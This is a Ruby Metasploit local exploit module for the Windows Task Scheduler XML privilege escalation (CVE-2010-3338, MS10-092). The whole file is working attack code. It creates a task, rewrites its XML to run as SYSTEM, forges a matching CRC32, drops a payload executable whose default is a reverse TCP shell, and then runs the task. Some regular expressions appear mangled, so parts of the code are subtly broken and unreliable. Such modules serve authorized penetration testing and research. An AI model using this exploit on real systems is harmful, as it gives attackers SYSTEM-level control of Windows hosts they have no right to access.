## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'zlib' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::TaskScheduler prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, { 'Name' => 'Windows Escalate Task Scheduler XML Privilege Escalation', 'Description' => %q{ This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet. When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with. Also, In a default configuration, normal users can read and write the task files that they have created. By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges. NOTE: Thanks to webDEViL for the information about disable/enable. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows Vista / 7 / 2008 (Dropper)', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp' }, 'Type' => :win_dropper } ], [ 'Windows Vista / 7 / 2008 (Command)', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' }, 'Payload' => { 'Space' => 261 }, 'Type' => :win_command } ] ], 'References' => [ [ 'OSVDB', '68518' ], [ 'CVE', '2010-3338' ], [ 'BID', '44357' ], [ 'MSB', 'MS10-092' ], [ 'EDB', '15589' ] ], 'DisclosureDate' => '2010-09-13', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] }, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ core_channel_eof core_channel_open core_channel_read core_channel_write stdapi_sys_config_getenv stdapi_sys_config_getuid ] } } } ) ) register_options([ OptString.new('TASKNAME', [ false, 'A name for the created task (default random)' ]), ]) deregister_options( 'ScheduleType', 'ScheduleModifier', 'ScheduleRemoteSystem', 'ScheduleUsername', 'SchedulePassword', 'ScheduleObfuscationTechnique' ) end def check return CheckCode::Safe("Target OS #{session.platform} is not vulnerable") unless session.platform == 'windows' system_info = sysinfo return CheckCode::Unknown('Could not retrieve OS system information.') unless system_info [ 'Windows Vista', 'Windows 7', 'Windows 2008' ].each do |v| return CheckCode::Detected if system_info['OS'].include?(v) end CheckCode::Safe("#{system_info['OS']} is not vulnerable") end def exploit fail_with(Failure::None, 'Session is already elevated') if is_system? fail_with(Failure::NoTarget, 'This exploit requires a meterpreter session') unless session.type == 'meterpreter' # # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters # worse, meterpreter/railgun creates things in a new thread, making it much more # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this, # offer a workaround and error out. # if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 fail_with(Failure::NoTarget, 'Running against via WOW64 is not supported, try using an x64 meterpreter...') end @taskname = datastore['TASKNAME'] || Rex::Text.rand_text_alphanumeric(8..15) case target['Type'] when :win_command cmd = payload.encoded print_status("Using command: #{cmd}") when :win_dropper tempdir = get_env('TEMP') exe = generate_payload_exe cmd = "#{tempdir}\\#{Rex::Text.rand_text_alpha(6..13)}.exe" print_status("Preparing payload at #{cmd}") write_file(cmd, exe) end # # Create a new task to do our bidding, but make sure it doesn't run. # sysdir = get_env('SystemRoot') taskfile = "#{sysdir}\\system32\\tasks\\#{@taskname}" print_status("Creating task: #{@taskname}") task_create(@taskname, cmd, task_type: 'MONTHLY', obfuscation: 'NONE', runas: client.sys.config.getuid) # # Read the contents of the newly created task file # content = read_task_file(taskfile) # # Double-check that we got what we expect. # if content[0, 2] != "\xff\xfe" # # Convert to unicode, since it isn't already # content = content.unpack('C*').pack('v*') else # # NOTE: we strip the BOM here to exclude it from the crc32 calculation # content = content[2, content.length] end # # Record the crc32 for later calculations # old_crc32 = crc32(content) print_status('Original CRC32: ' + format('0x%.8x', old_crc32)) # # Convert the file contents from unicode # content = content.unpack('v*').pack('C*') # # Mangle the contents to now run with SYSTEM privileges # content.gsub!('LeastPrivilege', 'HighestAvailable') content.gsub!(%r{.*}, 'S-1-5-18') content.gsub!(%r{.*}, 'S-1-5-18') # content.gsub!('InteractiveToken', 'Password') content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"') content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"') content << '' # # Convert it back to unicode # content = Rex::Text.to_unicode(content) # # Fix it so the CRC matches again # fix_crc32(content, old_crc32) new_crc32 = crc32(content) print_status('Final CRC32: ' + format('0x%x', new_crc32)) print_status('Writing our modified content back...') write_file(taskfile, "\xff\xfe#{content}") print_status("Validating task: #{@taskname}") task_query(@taskname) print_status('Disabling the task...') fail_with(Failure::Unknown, 'Could not disable task') unless exec_schtasks("schtasks.exe /change /tn #{@taskname} /disable") print_status('Enabling the task...') fail_with(Failure::Unknown, 'Could not enable task') unless exec_schtasks("schtasks.exe /change /tn #{@taskname} /enable") print_status('Executing the task...') task_start(@taskname) end def crc32(data) table = Zlib.crc_table crc = 0xffffffff data.unpack('C*').each do |b| crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) end crc end def fix_crc32(data, old_crc) # # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably # reversed from Microsoft's code) # bwd_table = [ 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 ] crc = crc32(data[0, data.length - 12]) data[-12, 4] = [crc].pack('V') data[-12, 12].unpack('C*').reverse.each do |b| old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff end data[-12, 4] = [old_crc].pack('V') end def exec_schtasks(cmdline) lns = cmd_exec('cmd.exe', "/c #{cmdline.strip}") lns&.each_line do |ln| ln.chomp! print_status(ln) return true if ln.starts_with?('SUCCESS:') end false end def read_task_file(taskfile) print_status("Reading the task file contents from #{taskfile}...") # Can't read the file directly on Windows Server 2008 # use session.fs.file.new instead content = '' fd = session.fs.file.new(taskfile, 'rb') content << fd.read until fd.eof? fd.close content end def cleanup return unless @taskname print_status("Deleting task #{@taskname}...") task_delete(@taskname, obfuscation: 'NONE') ensure super end end